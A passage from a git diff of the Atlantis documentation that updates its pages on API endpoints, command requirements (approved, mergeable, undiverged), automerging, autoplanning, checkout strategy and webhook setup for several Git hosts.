"main", + "Type": "Github", + "Paths": [{ + "Directory": ".", + "Workspace": "default" + }], + "PR": 2 +}' +``` + +#### Sample Response + +```json +{ + "Error": null, + "Failure": "", + "ProjectResults": [ + { + "Command": 0, + "RepoRelDir": ".", + "Workspace": "default", + "Error": null, + "Failure": "", + "PlanSuccess": null, + "PolicyCheckSuccess": null, + "ApplySuccess": "", + "VersionSuccess": "", + "ProjectName": "" + } + ], + "PlansDeleted": false +} +``` + +## Other Endpoints + +The endpoints listed in this section are non-destructive and therefore don't require authentication nor special secret token. + +### GET /api/locks + +#### Description + +List the currently held project locks. + +#### Sample Request + +```shell +curl --request GET 'https:///api/locks' +``` + +#### Sample Response + +```json +{ + "Locks": [ + { + "Name": "lock-id", + "ProjectName": "terraform", + "ProjectRepo": "owner/repo", + "ProjectRepoPath": "/path", + "PullID": "123", + "PullURL": "url", + "User": "jdoe", + "Workspace": "default", + "Time": "2025-02-13T16:47:42.040856-08:00" + } + ] +} +``` + +### GET /status + +#### Description + +Return the status of the Atlantis server. + +#### Sample Request + +```shell +curl --request GET 'https:///status' +``` + +#### Sample Response + +```json +{ + "shutting_down": false, + "in_progress_operations": 0, + "version": "0.22.3" +} +``` + +### GET /healthz + +#### Description + +Serves as the health-check endpoint for a containerized Atlantis server. + +#### Sample Request + +```shell +curl --request GET 'https:///healthz' +``` + +#### Sample Response + +```json +{ + "status": "ok" +} +``` + +### GET /debug/pprof + +If `--enable-profiling-api` is set to true, it adds endpoints under this path to expose server's profiling data. See [profiling Go programs](https://go.dev/blog/pprof) for more information. diff --git a/runatlantis.io/docs/apply-requirements.md b/runatlantis.io/docs/apply-requirements.md index a781a151ff..166931851d 100644 --- a/runatlantis.io/docs/apply-requirements.md +++ b/runatlantis.io/docs/apply-requirements.md @@ -1,204 +1,5 @@ # Apply Requirements -[[toc]] -## Intro -Atlantis allows you to require certain conditions be satisfied **before** an `atlantis apply` -command can be run: - -* [Approved](#approved) – requires pull requests to be approved by at least one user other than the author -* [Mergeable](#mergeable) – requires pull requests to be able to be merged - -## What Happens If The Requirement Is Not Met? -If the requirement is not met, users will see an error if they try to run `atlantis apply`: -![Mergeable Apply Requirement](./images/apply-requirement.png) - -## Supported Requirements -### Approved -The `approved` requirement will prevent applies unless the pull request is approved -by at least one person other than the author. - -#### Usage -You can set the `approved` requirement by: -1. Passing the `--require-approval` flag to `atlantis server` or -1. Creating a `repos.yaml` file with the `apply_requirements` key: - ```yaml - repos: - - id: /.*/ - apply_requirements: [approved] - ``` -1. Or by allowing an `atlantis.yaml` file to specify the `apply_requirements` key in your `repos.yaml` config: - #### repos.yaml - ```yaml - repos: - - id: /.*/ - allowed_overrides: [apply_requirements] - ``` - - #### atlantis.yaml - ```yaml - version: 3 - projects: - - dir: . - apply_requirements: [approved] - ``` - -#### Meaning -Each VCS provider has different rules around who can approve: -* **GitHub** – **Any user with read permissions** to the repo can approve a pull request -* **GitLab** – You [can set](https://docs.gitlab.com/ee/user/project/merge_requests/merge_request_approvals.html) who is allowed to approve -* **Bitbucket Cloud (bitbucket.org)** – A user can approve their own pull request but - Atlantis does not count that as an approval and requires an approval from at least one user that - is not the author of the pull request -* **Azure DevOps** – **All builtin groups include the "Contribute to pull requests"** permission and can approve a pull request - -:::tip Tip -If you want to require **certain people** to approve the pull request, look at the -[mergeable](#mergeable) requirement. -::: - -### Mergeable -The `mergeable` requirement will prevent applies unless a pull request is able to be merged. - -#### Usage -You can set the `mergeable` requirement by: -1. Passing the `--require-mergeable` flag to `atlantis server` or -1. Creating a `repos.yaml` file with the `apply_requirements` key: - ```yaml - repos: - - id: /.*/ - apply_requirements: [mergeable] - ``` - -1. Or by allowing an `atlantis.yaml` file to specify the `apply_requirements` key in your `repos.yaml` config: - #### repos.yaml - ```yaml - repos: - - id: /.*/ - allowed_overrides: [apply_requirements] - ``` - - #### atlantis.yaml - ```yaml - version: 3 - projects: - - dir: . - apply_requirements: [mergeable] - ``` - -#### Meaning -Each VCS provider has a different concept of "mergeability": -#### GitHub -In GitHub, if you're not using [Protected Branches](https://help.github.com/articles/about-protected-branches/) then -all pull requests are mergeable unless there is a conflict. - -If you set up Protected Branches then you can enforce: -* Requiring certain status checks to be passing -* Requiring certain people to have reviewed and approved the pull request -* Requiring `CODEOWNERS` to have reviewed and approved the pull request -* Requiring that the branch is up to date with `master` - -See [https://help.github.com/articles/about-protected-branches/](https://help.github.com/articles/about-protected-branches/) -for more details. - -::: warning -If you have the **Restrict who can push to this branch** requirement, then -the Atlantis user needs to be part of that list in order for it to consider -a pull request mergeable. -::: - -#### GitLab -For GitLab, a merge request will be mergeable if it has no conflicts and if all -required approvers have approved the pull request. - -We **do not** check if there are [Unresolved Discussions](https://docs.gitlab.com/ee/user/discussions/#resolvable-comments-and-threads) because GitLab doesn't -provide that information in their API response. If you need this feature please -[open an issue](https://github.com/runatlantis/atlantis/issues/new). - -#### Bitbucket.org (Bitbucket Cloud) and Bitbucket Server (Stash) -For Bitbucket, we just check if there is a conflict that is preventing a -merge. We don't check anything else because Bitbucket's API doesn't support it. - -If you need a specific check, please -[open an issue](https://github.com/runatlantis/atlantis/issues/new). - -#### Azure DevOps -In Azure DevOps, all pull requests are mergeable unless there is a conflict. You can set a pull request to "Complete" right away, or set "Auto-Complete", which will merge after all branch policies are met. See [Review code with pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops). - -[Branch policies](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops) can: -* Require a minimum number of reviewers -* Allow users to approve their own changes -* Allow completion even if some reviewers vote "Waiting" or "Reject" -* Reset code reviewer votes when there are new changes -* Require a specific merge strategy (squash, rebase, etc.) - -::: warning -At this time, the Azure DevOps client only supports merging using the default 'no fast-forward' strategy. Make sure your branch policies permit this type of merge. +:::warning REDIRECT +This page is moved to [Command Requirements](command-requirements.md). ::: - -## Setting Apply Requirements -As mentioned above, you can set apply requirements via flags, in `repos.yaml`, or in `atlantis.yaml` if `repos.yaml` -allows the override. - -### Flags Override -Flags **override** any `repos.yaml` or `atlantis.yaml` settings so they are equivalent to always -having that apply requirement set. - -### Project-Specific Settings -If you only want some projects/repos to have apply requirements, then you must -1. Not set the `--require-approval` or `--require-mergeable` flags, since those - will override any `repos.yaml` or `atlantis.yaml` settings -1. Specifying which repos have which requirements via the `repos.yaml` file. - ```yaml - repos: - - id: /.*/ - apply_requirements: [approved] - # Regex that defaults all repos to requiring approval - - id: /github.com/runatlantis/.*/ - # Regex to match any repo under the atlantis namespace, and not require approval - # except for repos that might match later in the chain - apply_requirements: [] - - id: github.com/runatlantis/atlantis - apply_requirements: [approved] - # Exact string match of the github.com/runatlantis/atlantis repo - # that sets apply_requirements to approved - ``` - -1. Specify which projects have which requirements via an `atlantis.yaml` file, and allowing - `apply_requirements` to be set in in `atlantis.yaml` by the server side `repos.yaml` - config. - - For example if I have two directories, `staging` and `production`, I might use: - #### repos.yaml - ```yaml - repos: - - id: /.*/ - allowed_overrides: [apply_requirements] - # Allow any repo to specify apply_requirements in atlantis.yaml - ``` - - #### atlantis.yaml - ```yaml - version: 3 - projects: - - dir: staging - # By default, apply_requirements is empty so this - # isn't strictly necessary. - apply_requirements: [] - - dir: production - # This requirement will only apply to the - # production directory. - apply_requirements: [mergeable] - - -### Multiple Requirements -You can set both `apply` and `mergeable` requirements. - -## Who Can Apply? -Once the apply requirement is satisfied, **anyone** that can comment on the pull -request can run the actual `atlantis apply` command. - -## Next Steps -* For more information on GitHub pull request reviews and approvals see: [https://help.github.com/articles/about-pull-request-reviews/](https://help.github.com/articles/about-pull-request-reviews/) -* For more information on GitLab merge request reviews and approvals (only supported on GitLab Enterprise) see: [https://docs.gitlab.com/ee/user/project/merge_requests/merge_request_approvals.html](https://docs.gitlab.com/ee/user/project/merge_requests/merge_request_approvals.html). -* For more information on Bitbucket pull request reviews and approvals see: [https://confluence.atlassian.com/bitbucket/pull-requests-and-code-review-223220593.html](https://confluence.atlassian.com/bitbucket/pull-requests-and-code-review-223220593.html) -* For more information on Azure DevOps pull request reviews and approvals see: [https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests-overview?view=azure-devops](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests-overview?view=azure-devops) diff --git a/runatlantis.io/docs/automerging.md b/runatlantis.io/docs/automerging.md index 440e8b9b04..5c2f96d34e 100644 --- a/runatlantis.io/docs/automerging.md +++ b/runatlantis.io/docs/automerging.md @@ -1,44 +1,81 @@ # Automerging + Atlantis can be configured to automatically merge a pull request after all plans have been successfully applied. - ![Automerge](./images/automerge.png) ## How To Enable + Automerging can be enabled either by: -1. Passing the `--automerge` flag to `atlantis server`. This will cause all - pull requests to be automerged and any repo config will be ignored. + +1. Passing the `--automerge` flag to `atlantis server`. This sets the parameter globally; however, explicit declaration in the repo config will be respected and take priority. 1. Setting `automerge: true` in the repo's `atlantis.yaml` file: + ```yaml version: 3 automerge: true projects: - dir: . ``` + :::tip NOTE If a repo has an `atlantis.yaml` file, then each project in the repo needs to be configured under the `projects` key. ::: -## All Plans Must Succeed +## How to Disable + +If automerge is enabled, you can disable it for a single `atlantis apply` +command with the `--auto-merge-disabled` option. + +## How to set the merge method for automerge + +If automerge is enabled, you can use the `--auto-merge-method` option +for the `atlantis apply` command to specify which merge method use. + +```shell +atlantis apply --auto-merge-method +``` + +The `method` must be one of: + +- merge +- rebase +- squash + +This is currently only implemented for the GitHub VCS. + +## Requirements + +### All Plans Must Succeed + When automerge is enabled, **all plans** in a pull request **must succeed** before **any** plans can be applied. For example, imagine this scenario: + 1. I open a pull request that makes changes to two Terraform projects, in `dir1/` and `dir2/`. 1. The plan for `dir2/` fails because my Terraform syntax is wrong. In this scenario, I can't run -``` + +```shell atlantis apply -d dir1 ``` + Even though that plan succeeded, because **all** plans must succeed for **any** plans to be saved. Once I fix the issue in `dir2`, I can push a new commit which will trigger an autoplan. Then I will be able to apply both plans. +### All Plans must be applied + +If multiple projects/dirs/workspaces are configured to be planned automatically, +then they should all be applied before Atlantis automatically merges the PR. + ## Permissions + The Atlantis VCS user must have the ability to merge pull requests. diff --git a/runatlantis.io/docs/autoplanning.md b/runatlantis.io/docs/autoplanning.md index 9ababb10fd..b4657d801a 100644 --- a/runatlantis.io/docs/autoplanning.md +++ b/runatlantis.io/docs/autoplanning.md @@ -1,18 +1,22 @@ # Autoplanning + On any **new** pull request or **new commit** to an existing pull request, Atlantis will attempt to run `terraform plan` in the directories it thinks hold modified Terraform projects. The algorithm it uses is as follows: + 1. Get list of all modified files in pull request 1. Filter to those containing `.tf` 1. Get the directories that those files are in 1. If the directory path doesn't contain `modules/` then try to run `plan` in that directory 1. If it does contain `modules/` look at the directory one level above `modules/`. If it -contains a `main.tf` run plan in that directory, otherwise ignore the change. +contains a `main.tf` run plan in that directory, otherwise ignore the change (see below for exceptions). ## Example + Given the directory structure: -``` + +```plain . ├── modules │   └── module1 @@ -26,14 +30,25 @@ Given the directory structure: * If `project1/main.tf` were modified, we would run `plan` in `project1` * If `modules/module1/main.tf` were modified, we would not automatically run `plan` because we couldn't determine the location of the terraform project - * You could use an [atlantis.yaml](repo-level-atlantis-yaml.html#configuring-planning) file to specify which projects to plan when this module changed - * Or you could manually plan with `atlantis plan -d ` + * You could use an [atlantis.yaml](repo-level-atlantis-yaml.md#configuring-planning) file to specify which projects to plan when this module changed + * You could enable [module autoplanning](server-configuration.md#autoplan-modules) which indexes projects to their local module dependencies. + * Or you could manually plan with `atlantis plan -d ` * If `project1/modules/module1/main.tf` were modified, we would look one level above `project1/modules` into `project1/`, see that there was a `main.tf` file and so run plan in `project1/` +## Bitbucket-Specific Notes + +Bitbucket does not have a webhook that triggers only upon a new PR or commit. To fix this we cache the last commit to see if it has changed. If the cache is emptied, Atlantis will think your commit is new and you may see extra plans. +This scenario can happen if: + +* Atlantis restarts +* You are running multiple Atlantis instances behind a load balancer + ## Customizing + If you would like to customize how Atlantis determines which directory to run in or disable it all together you need to create an `atlantis.yaml` file. See -* [Disabling Autoplanning](repo-level-atlantis-yaml.html#disabling-autoplanning) -* [Configuring Planning](repo-level-atlantis-yaml.html#configuring-planning) + +* [Disabling Autoplanning](repo-level-atlantis-yaml.md#disabling-autoplanning) +* [Configuring Planning](repo-level-atlantis-yaml.md#configuring-planning) diff --git a/runatlantis.io/docs/checkout-strategy.md b/runatlantis.io/docs/checkout-strategy.md index 01ffdbedc4..5c38586a4c 100644 --- a/runatlantis.io/docs/checkout-strategy.md +++ b/runatlantis.io/docs/checkout-strategy.md @@ -7,30 +7,32 @@ variable that get passed to the `atlantis server` command. Atlantis supports `branch` and `merge` strategies. ## Branch + If set to `branch` (the default), Atlantis will check out the source branch of the pull request. For example, given the following git history: ![Git History](./images/branch-strategy.png) -If the pull request was asking to merge `branch` into `master`, +If the pull request was asking to merge `branch` into `main`, Atlantis would check out `branch` at commit `C3`. ## Merge + The problem with the `branch` strategy, is that if users push branches that are -out of date with `master`, then their `terraform plan` could be deleting -some resources that were configured in the master branch. +out of date with `main`, then their `terraform plan` could be deleting +some resources that were configured in the main branch. For example, in the above diagram if commits `C4` and `C5` have modified the terraform state and added new resources, then when Atlantis runs `terraform plan` at commit `C3`, because the code doesn't have the changes from `C4` and `C5`, Terraform will try to delete those resources. -To fix this, users could merge `master` into their branch, *or* you can run +To fix this, users could merge `main` into their branch, *or* you can run Atlantis with `--checkout-strategy=merge`. With this strategy, Atlantis will try to perform a merge locally by: -* Checking out the destination branch of the pull request (ex. `master`) +* Checking out the destination branch of the pull request (ex. `main`) * Locally performing a `git merge {source branch}` * Then running its Terraform commands @@ -44,5 +46,14 @@ Atlantis doesn't actually commit this merge anywhere. It just uses it locally. :::warning Atlantis only performs this merge during the `terraform plan` phase. If another -commit is pushed to `master` **after** Atlantis runs `plan`, nothing will happen. +commit is pushed to `main` **after** Atlantis runs `plan`, nothing will happen. ::: + +To optimize cloning time, Atlantis can perform a shallow clone by specifying the `--checkout-depth` flag. The cloning is performed in a following manner: + +* Shallow clone of the default branch is performed with depth of `--checkout-depth` value of zero (full clone). +* `branch` is retrieved, including the same amount of commits. +* Merge base of the default branch and `branch` is checked for existence in the shallow clone. +* If the merge base is not present, it means that either of the branches are ahead of the merge base by more than `--checkout-depth` commits. In this case full repo history is fetched. + +If the commit history often diverges by more than the default checkout depth then the `--checkout-depth` flag should be tuned to avoid full fetches. diff --git a/runatlantis.io/docs/command-requirements.md b/runatlantis.io/docs/command-requirements.md new file mode 100644 index 0000000000..9be7bcef2d --- /dev/null +++ b/runatlantis.io/docs/command-requirements.md @@ -0,0 +1,308 @@ +# Command Requirements + +## Intro + +Atlantis requires certain conditions be satisfied **before** `atlantis apply` and `atlantis import` +commands can be run: + +* [Approved](#approved) – requires pull requests to be approved by at least one user other than the author +* [Mergeable](#mergeable) – requires pull requests to be able to be merged +* [UnDiverged](#undiverged) - requires pull requests to be ahead of the base branch + +## What Happens If The Requirement Is Not Met? + +If the requirement is not met, users will see an error if they try to run `atlantis apply`: +![Mergeable Apply Requirement](./images/apply-requirement.png) + +## Supported Requirements + +### Approved + +The `approved` requirement will prevent applies unless the pull request is approved +by at least one person other than the author. + +#### Usage + +The `approved` requirement by: + +1. Creating a `repos.yaml` file with the `apply_requirements` key: + + ```yaml + repos: + - id: /.*/ + apply_requirements: [approved] + ``` + +1. Or by allowing an `atlantis.yaml` file to specify the `apply_requirements` key in the `repos.yaml` config: + + **repos.yaml** + + ```yaml + repos: + - id: /.*/ + allowed_overrides: [apply_requirements] + ``` + + **atlantis.yaml** + + ```yaml + version: 3 + projects: + - dir: . + apply_requirements: [approved] + ``` + +#### Meaning + +Each VCS provider has different rules around who can approve: + +* **GitHub** – **Any user with read permissions** to the repo can approve a pull request +* **GitLab** – The user who can approve can be set in the [repo settings](https://docs.gitlab.com/user/project/merge_requests/approvals/) +* **Bitbucket Cloud (bitbucket.org)** – A user can approve their own pull request but + Atlantis does not count that as an approval and requires an approval from at least one user that + is not the author of the pull request +* **Azure DevOps** – **All builtin groups include the "Contribute to pull requests"** permission and can approve a pull request + +:::tip Tip +To require **certain people** to approve the pull request, look at the +[mergeable](#mergeable) requirement. +::: + +### Mergeable + +The `mergeable` requirement will prevent applies unless a pull request is able to be merged. + +#### Usage + +Set the `mergeable` requirement by: + +1. Creating a `repos.yaml` file with the `apply_requirements` key: + + ```yaml + repos: + - id: /.*/ + apply_requirements: [mergeable] + ``` + +1. Or by allowing an `atlantis.yaml` file to specify `plan_requirements`, `apply_requirements` and `import_requirements` keys in the `repos.yaml` config: + + **repos.yaml** + + ```yaml + repos: + - id: /.*/ + allowed_overrides: [plan_requirements, apply_requirements, import_requirements] + ``` + + **atlantis.yaml** + + ```yaml + version: 3 + projects: + - dir: . + plan_requirements: [mergeable] + apply_requirements: [mergeable] + import_requirements: [mergeable] + ``` + +#### Meaning + +Each VCS provider has a different concept of "mergeability": + +::: warning +Some VCS providers have a feature for branch protection to control "mergeability". To use it, +limit the base branch so to not bypass the branch protection. +See also the `branch` keyword in [Server Side Repo Config](server-side-repo-config.md#reference) for more details. +::: + +#### GitHub + +In GitHub, if you're not using [Protected Branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) then +all pull requests are mergeable unless there is a conflict. + +If you set up Protected Branches then you can enforce: + +* Requiring certain status checks to be passing +* Requiring certain people to have reviewed and approved the pull request +* Requiring `CODEOWNERS` to have reviewed and approved the pull request +* Requiring that the branch is up-to-date with `main` + +See [GitHub: About protected branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) +for more details. + +::: warning +If you have the **Restrict who can push to this branch** requirement, then +the Atlantis user needs to be part of that list in order for it to consider +a pull request mergeable. +::: + +::: warning +If you set `atlantis/apply` to the mergeable requirement, use the `--gh-allow-mergeable-bypass-apply` flag or set the `ATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true` environment variable. This flag and environment variable allow the mergeable check before executing `atlantis apply` to skip checking the status of `atlantis/apply`. +::: + +#### GitLab + +For GitLab, a merge request will be merged if there are no conflicts, no unresolved discussions if it is a project requirement and if all necessary approvers have approved the pull request. + +For pipelines, if the project requires that pipelines must succeed, all builds except the apply command status will be checked. + +For Jobs with allow_failure setting set to true, will be ignored. If the pipeline has been skipped and the project allows merging, it will be marked as mergeable. + +#### Bitbucket.org (Bitbucket Cloud) and Bitbucket Server (Stash) + +For Bitbucket, we just check if there is a conflict that is preventing a +merge. We don't check anything else because Bitbucket's API doesn't support it. + +If you need a specific check, please +[open an issue](https://github.com/runatlantis/atlantis/issues/new). + +#### Azure DevOps + +In Azure DevOps, all pull requests are mergeable unless there is a conflict. You can set a pull request to "Complete" right away, or set "Auto-Complete", which will merge after all branch policies are met. See [Review code with pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops). + +[Branch policies](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops) can: + +* Require a minimum number of reviewers +* Allow users to approve their own changes +* Allow completion even if some reviewers vote "Waiting" or "Reject" +* Reset code reviewer votes when there are new changes +* Require a specific merge strategy (squash, rebase, etc.) + +::: warning +At this time, the Azure DevOps client only supports merging using the default 'no fast-forward' strategy. Make sure your branch policies permit this type of merge. +::: + +### UnDiverged + +Prevent applies if there are any changes on the base branch since the most recent plan. +Applies to `merge` checkout strategy only which you need to set via `--checkout-strategy` flag. + +#### Usage + +You can set the `undiverged` requirement by: + +1. Creating a `repos.yaml` file with `plan_requirements`, `apply_requirements` and `import_requirements` keys: + + ```yaml + repos: + - id: /.*/ + plan_requirements: [undiverged] + apply_requirements: [undiverged] + import_requirements: [undiverged] + ``` + +1. Or by allowing an `atlantis.yaml` file to specify the `plan_requirements`, `apply_requirements` and `import_requirements` keys in your `repos.yaml` config: + + **repos.yaml** + + ```yaml + repos: + - id: /.*/ + allowed_overrides: [plan_requirements, apply_requirements, import_requirements] + ``` + + **atlantis.yaml** + + ```yaml + version: 3 + projects: + - dir: . + plan_requirements: [undiverged] + apply_requirements: [undiverged] + import_requirements: [undiverged] + ``` + +#### Meaning + +The `merge` checkout strategy creates a temporary merge commit and runs the `plan` on the Atlantis local version of the PR +source and destination branch. The local destination branch can become out of date since changes to the destination branch are not fetched +if there are no changes to the source branch. `undiverged` enforces that Atlantis local version of main is up to date +with remote so that the state of the source during the `apply` is identical to that if you were to merge the PR at that +time. + +## Setting Command Requirements + +As mentioned above, you can set command requirements via flags, in `repos.yaml`, or in `atlantis.yaml` if `repos.yaml` +allows the override. + +### Flags Override + +Flags **override** any `repos.yaml` or `atlantis.yaml` settings so they are equivalent to always +having that apply requirement set. + +### Project-Specific Settings + +If you only want some projects/repos to have apply requirements, then you must + +1. Specifying which repos have which requirements via the `repos.yaml` file. + + ```yaml + repos: + - id: /.*/ + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] + # Regex that defaults all repos to requiring approval + - id: /github.com/runatlantis/.*/ + # Regex to match any repo under the atlantis namespace, and not require approval + # except for repos that might match later in the chain + plan_requirements: [] + apply_requirements: [] + import_requirements: [] + - id: github.com/runatlantis/atlantis + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] + # Exact string match of the github.com/runatlantis/atlantis repo + # that sets apply_requirements to approved + ``` + +1. Specify which projects have which requirements via an `atlantis.yaml` file, and allowing + `plan_requirements`, `apply_requirements` and `import_requirements` to be set in `atlantis.yaml` by the server side `repos.yaml` + config. + + For example if I have two directories, `staging` and `production`, I might use: + + **repos.yaml:** + + ```yaml + repos: + - id: /.*/ + allowed_overrides: [plan_requirements, apply_requirements, import_requirements] + # Allow any repo to specify apply_requirements in atlantis.yaml + ``` + + **atlantis.yaml:** + + ```yaml + version: 3 + projects: + - dir: staging + # By default, plan_requirements, apply_requirements and import_requirements are empty so this + # isn't strictly necessary. + plan_requirements: [] + apply_requirements: [] + import_requirements: [] + - dir: production + # This requirement will only apply to the + # production directory. + plan_requirements: [mergeable] + apply_requirements: [mergeable] + import_requirements: [mergeable] + ``` + +### Multiple Requirements + +You can set any or all of `approved`, `mergeable`, and `undiverged` requirements. + +## Who Can Apply? + +Once the apply requirement is satisfied, **anyone** that can comment on the pull +request can run the actual `atlantis apply` command. + +## Next Steps + +* For more information on GitHub pull request reviews and approvals see: [GitHub: About pull request reviews](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) +* For more information on GitLab merge request reviews and approvals (only supported on GitLab Enterprise) see: [GitLab: Merge request approvals](https://docs.gitlab.com/user/project/merge_requests/approvals/). +* For more information on Bitbucket pull request reviews and approvals see: [BitBucket: Use pull requests for code review](https://confluence.atlassian.com/bitbucket/pull-requests-and-code-review-223220593.html) +* For more information on Azure DevOps pull request reviews and approvals see: [Azure DevOps: Create pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops&tabs=browser) diff --git a/runatlantis.io/docs/configuring-atlantis.md b/runatlantis.io/docs/configuring-atlantis.md index 46edbbbc3c..c40e55560c 100644 --- a/runatlantis.io/docs/configuring-atlantis.md +++ b/runatlantis.io/docs/configuring-atlantis.md @@ -1,25 +1,29 @@ # Configuring Atlantis There are three methods for configuring Atlantis: + 1. Passing flags to the `atlantis server` command 1. Creating a server-side repo config file and using the `--repo-config` flag 1. Placing an `atlantis.yaml` file at the root of your Terraform repositories ## Flags + Flags to `atlantis server` are used to configure the global operation of Atlantis, for example setting credentials for your Git Host or configuring SSL certs. -See [Server Configuration](server-configuration.html) for more details. +See [Server Configuration](server-configuration.md) for more details. ## Server-Side Repo Config + A Server-Side Repo Config file is used to control per-repo behaviour and what users can do in repo-level `atlantis.yaml` files. -See [Server-Side Repo Config](server-side-repo-config.html) for more details. +See [Server-Side Repo Config](server-side-repo-config.md) for more details. ## Repo-Level `atlantis.yaml` Files + `atlantis.yaml` files placed at the root of your Terraform repos can be used to change the default Atlantis behaviour for each repo. -See [Repo-Level atlantis.yaml Files](repo-level-atlantis-yaml.html) for more details. +See [Repo-Level atlantis.yaml Files](repo-level-atlantis-yaml.md) for more details. diff --git a/runatlantis.io/docs/configuring-webhooks.md b/runatlantis.io/docs/configuring-webhooks.md index d885dd684f..295b50f437 100644 --- a/runatlantis.io/docs/configuring-webhooks.md +++ b/runatlantis.io/docs/configuring-webhooks.md @@ -1,126 +1,153 @@ # Configuring Webhooks + Atlantis needs to receive Webhooks from your Git host so that it can respond to pull request events. :::tip Prerequisites -* You have created an [access credential](access-credentials.html) -* You have created a [webhook secret](webhook-secrets.html) -* You have [deployed](deployment.html) Atlantis and have a url for it + +* You have created an [access credential](access-credentials.md) +* You have created a [webhook secret](webhook-secrets.md) +* You have [deployed](deployment.md) Atlantis and have a url for it ::: See the instructions for your specific provider below. -[[toc]] ## GitHub/GitHub Enterprise -You can install your webhook at the [organization](https://help.github.com/articles/differences-between-user-and-organization-accounts/) level, or for each individual repository. + +You can install your webhook at the [organization](https://docs.github.com/en/get-started/learning-about-github/types-of-github-accounts) level, or for each individual repository. ::: tip NOTE If only some of the repos in your organization are to be managed by Atlantis, then you may want to only install on specific repos for now. ::: -When authenticating as a Github App, Webhooks are automatically created and need no additional setup, beyond being installed to your organization/user account after creation. Refer to the [Github App setup](access-credentials.html#github-app) section for instructions on how to do so. +When authenticating as a GitHub App, Webhooks are automatically created and need no additional setup, beyond being installed to your organization/user account after creation. Refer to the [GitHub App setup](access-credentials.md#github-app) section for instructions on how to do so. If you're installing on the organization, navigate to your organization's page and click **Settings**. If installing on a single repository, navigate to the repository home page and click **Settings**. -- Select **Webhooks** or **Hooks** in the sidebar -- Click **Add webhook** -- set **Payload URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** -- double-check you added `/events` to the end of your URL. -- set **Content type** to `application/json` -- set **Secret** to the Webhook Secret you generated previously - - **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. -- select **Let me select individual events** -- check the boxes - - **Pull request reviews** - - **Pushes** - - **Issue comments** - - **Pull requests** -- leave **Active** checked -- click **Add webhook** -- See [Next Steps](#next-steps) + +* Select **Webhooks** or **Hooks** in the sidebar +* Click **Add webhook** +* set **Payload URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** +* double-check you added `/events` to the end of your URL. +* set **Content type** to `application/json` +* set **Secret** to the Webhook Secret you generated previously + * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. +* select **Let me select individual events** +* check the boxes + * **Pull request reviews** + * **Pushes** + * **Issue comments** + * **Pull requests** +* leave **Active** checked +* click **Add webhook** +* See [Next Steps](#next-steps) ## GitLab + If you're using GitLab, navigate to your project's home page in GitLab -- Click **Settings > Webooks** in the sidebar -- set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** -- double-check you added `/events` to the end of your URL. -- set **Secret Token** to the Webhook Secret you generated previously - - **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. -- check the boxes - - **Push events** - - **Comments** - - **Merge Request events** -- leave **Enable SSL verification** checked -- click **Add webhook** -- See [Next Steps](#next-steps) + +* Click **Settings > Webhooks** in the sidebar +* set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** +* double-check you added `/events` to the end of your URL. +* set **Secret Token** to the Webhook Secret you generated previously + * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. +* check the boxes + * **Push events** + * **Comments** + * **Merge Request events** +* leave **Enable SSL verification** checked +* click **Add webhook** +* See [Next Steps](#next-steps) + +## Gitea + +If you're using Gitea, navigate to your project's home page in Gitea + +* Click **Settings > Webhooks** in the top- and then sidebar +* Click **Add webhook > Gitea** (Gitea webhooks are service specific, but this works) +* set **Target URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** +* double-check you added `/events` to the end of your URL. +* set **Secret** to the Webhook Secret you generated previously + * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. +* Select **Custom Events...** +* Check the boxes + * **Repository events > Push** + * **Issue events > Issue Comment** + * **Pull Request events > Pull Request** + * **Pull Request events > Pull Request Comment** + * **Pull Request events > Pull Request Reviewed** + * **Pull Request events > Pull Request Synchronized** +* Leave **Active** checked +* Click **Add Webhook** +* See [Next Steps](#next-steps) ## Bitbucket Cloud (bitbucket.org) -- Go to your repo's home page -- Click **Settings** in the sidebar -- Click **Webhooks** under the **WORKFLOW** section -- Click **Add webhook** -- Enter "Atlantis" for **Title** -- set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** -- double-check you added `/events` to the end of your URL. -- Keep **Status** as Active -- Don't check **Skip certificate validation** because NGROK has a valid cert. -- Select **Choose from a full list of triggers** -- Under **Repository** **un**check everything -- Under **Issues** leave everything **un**checked -- Under **Pull Request**, select: Created, Updated, Merged, Declined and Comment created -- Click **Save** + +* Go to your repo's home page +* Click **Settings** in the sidebar +* Click **Webhooks** under the **WORKFLOW** section +* Click **Add webhook** +* Enter "Atlantis" for **Title** +* set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** +* double-check you added `/events` to the end of your URL. +* Keep **Status** as Active +* Don't check **Skip certificate validation** because NGROK has a valid cert. +* Select **Choose from a full list of triggers** +* Under 